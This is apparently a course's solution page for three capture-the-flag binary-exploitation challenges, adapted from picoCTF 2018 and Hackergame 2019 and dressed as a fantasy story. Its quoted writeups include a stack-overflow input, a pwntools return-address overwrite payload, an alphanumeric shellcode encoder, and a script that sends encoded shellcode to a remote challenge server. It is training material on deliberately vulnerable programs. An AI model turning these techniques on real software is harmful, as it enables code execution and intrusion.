Week 2 Solution

(5 pt) Smash the stack

After three days of staying up to finish deadline, you feel extremely tired. Wanna to buy some coffee, you step out room and walking to the store. Tired, exhausted, and thinking about the difficult challenge, without seeing the truck that rushing directly to you...

When light appears, a goddess whos so beautiful standing in front of you, said, "Now, you are selected to re-born in the fantasy world."

"Help us to fight dragon the world destroyer, and save this world plz!" Said the goddess. "You have **ONE** chance to make a vow, and I'll make it true."

"By the way, if you put something that I can't handle, I'll give you a `flag`!"

`nc compass.ctfd.io:10001`

goddess

goddess.c

Hack the goddess and find flag. Flag format: `flag{***}`

Writeup

Challenge from picoCTF 2018 `buffer overflow 0` (modified)

Compile with options

```
-Wl,-z,norelro -no-pie -fno-stack-protector -z execstack
```

Writeup from https://zomry1.github.io/buffer-overflow-0/

so basically we can see that if there is a SIGSEGV (segmentation falut) the program run sigsegv_handler function that print the flag we want.

So how could we cause a SIGSEGV?
I took another look on the code and found that a *vuln* function called with the argument I supplied in the running of the program, so this is what I have a control on.

So let's take another look on the function:

```
void vuln(char *input){
  char buf[16];
  strcpy(buf, input);
}
```

The function take the argument and a buffer sized 16 bytes and call the strcpy function.
strcpy function - copy data from src to dest

```
char  *strcpy(char  *dest,  const  char  *src)
```

Our dest size is 16 byte, and src size is unlimited because we can choose whatever we want to be the src (argument to the run command).
So if we choose an argument bigger than 16 bytes there will be a SIGSEGV.

Let's check it in our computer, create a file named "flag.txt" in the folder of the vuln file, and write in it whatever you want, I chose "Wow here is the flag".
Now run the execution file with a bigger argument like:

```
./vuln IamBiggerThan16BytesNow!!!!!!!!!!!!!!!!
```

and the text we wrote in the file now printed in the console.
So do the same thing in the shell of picoCTF in order to read the actual flag file:

```
1. cd /problems/buffer-overflow-0_1_316c391426b9319fbdfb523ee15b37db
2. /.vuln IamBiggerThan16BytesNow!!!!!!!!!!!!!!!!
```

(5 pt) Check and overlap

Because of the goddess got stuck when processing, so you finally didn't get any special power. After fighting for days, you reach the "end castle" and ready to terminate "dragon the destroyer" by yourself.

"You, a mere human. How dare you to challenge me!" Said the dragon, who has indestructible scale and powerful skin that resists to all magic.

"Only using the ancient legendary weapons that you can hurt me. However, those power is unreachable and you can't assign value to it."

"Now, what's your last word?"

`nc compass.ctfd.io:10002`

dragon

dragon.c

Fight the dragon and find flag. Flag format: `flag{***}`

Writeup

Challenge from picoCTF 2018 `buffer overflow 2`

Writeup from https://tcode2k16.github.io/blog/posts/picoctf-2018-writeup/binary-exploitation/#buffer-overflow-2

Similar to `buffer overflow 1`, we can control the instruction pointer by overwriting the return address on the stack; however, this time we need to pass two arguments with calling the `win` function. This becomes easy once you understand how the stack is laid out:

- local variables
- base point and etc
- return address 1
- return address 2
- arguments for return function 1

So in this case, we our payload will be:

- 'a' * 100 <– filling the buffer

- ‘a’ * 12 <– overwrite some stuff that we don’t care about
- p32(0x080485cb) <– address for the `win` function (read my solution for buffer overflow 1 to see how I got this address)
- ‘a’ * 4 <– pad out the second return address
- p32(0xDEADBEEF) <– argument one
- p32(0xDEADC0DE) <– argument two

Put all of this together, and we get the flag:

```
alanc@pico-2018-shell-2:/problems/buffer-overflow-
2_4_ca1cb0da49310dd45c811348a235d257$ python -c "from pwn import *; print 'a'*
(100+12)+p32(0x080485cb)+'P'*4+p32(0xDEADBEEF)+p32(0xDEADC0DE)" | ./vuln
Please enter your string:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaPPPP[illegible]
picoCTF{addr3ss3s_ar3_3asy30723282}Segmentation fault
```

(BONUS 5 pt) Perfectly secure from shellcode

The dragon fell down into dust. You become the hero of the fantasy world. However, you still want to return home.

"Only the God can leave this world." Said the wiser, "that dragon is the most powerful creature and the most close to the God. Maybe... Only maybe... There is only one way."

"Grab the dragon's egg, use it to caste the most powerful wish magic. You have a chance to say something to the world tree."

"However, you may only use characters **no smaller than 32, no larger than 126** in ASCII order. May the bless be with you!"

The end of journey is arriving.

You are filled with determination.

`nc compass.ctfd.io:10003`

world

world.c

Become the God and find the flag. Flag format: `flag{***}`

This challenge is a little hard. The winner will get a badge for solving this.

Writeup

Challenge from Hacker Game 2019 `shell骇客 第三问` (modified)

Writeup from https://github.com/ustclug/hackergame2019-writeups/blob/master/official/Shell_%E9%AA%87%E5%AE%A2/README.md

0x00 杂谈

其实这道题本来中文应该叫 **壳黑客** ,老大怕做题的同学get不到点就改成了Shell骇客。

出这道题本身有两个目的，一个是带萌新入pwn的大坑，再一个就是让萌新自己学会找工具。换言之，这是一道很简单的工具题。

不过出乎出题者意料的是，在前几天校内都没有一个人做出来。虽然妮可在二进制方向的确薄弱，但是如果搜索引擎都不会用，这也太让人失望了。

0x03 第三问

再次强调，这题所有的3问，全是简单的工具题。

如果你有幸看到星盟ex大佬的博客，那么恭喜你，你已经成功的做完了这道题。

这篇博客解释的已经很详细了，笔者不再累述。

工具在`shellcode_encoder`文件夹下。

Try `./exp.sh`

```
#! /bin/sh
python2 main.py shellcode rax+29
```

```
#!/usr/bin/env python

import encoder
import preamble
import sys

if len(sys.argv) != 3:
    print 'Usage: main.py <shellcode file> <pointer to shellcode>'
    print "Pointer to shellcode should be an expression that is the address of
the start of the shellcode in the victim's address space"
    print 'Example: main.py shellcode.bin rcx'
    print 'Example: main.py shellcode.bin [rsp+-8]'
    print 'Example: main.py shellcode.bin 0x0123456789abcdef'
    print 'Example: main.py shellcode.bin rbp+5'
    sys.exit(1)

payload = open(sys.argv[1], 'rb').read()
encoded_payload = encoder.encode(payload)

shellcode_ptr = sys.argv[2]
print
print 'Encoding preamble for rdx <- %s' % (shellcode_ptr)
preamble = preamble.load_rdx(shellcode_ptr)
print preamble

print
print 'Original length: %d' % (len(payload),)
print 'Encoded length:  %d' % (len(encoded_payload),)
print 'Preamble length: %d' % (len(preamble))
print 'Total length:    %d' % (len(preamble) + len(encoded_payload))
print
print preamble + encoded_payload
```

Given a reference script that solves:

```
from pwn import *
context(arch = 'amd64', os = 'linux')
r = remote('ali.infury.org', 10003)
r.send("PhO666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqWO2DqXOD1Hu3M2GOZ2o4HOuOP1
6OZOg7OOZOC1OOy5O3GO2OB2nO6ON4qOn2tOBOOO1O1OH3S2yOYOOOnOzO134Od2F4y8P115l1nOJOhO
aO7Ot")
r.interactive()
```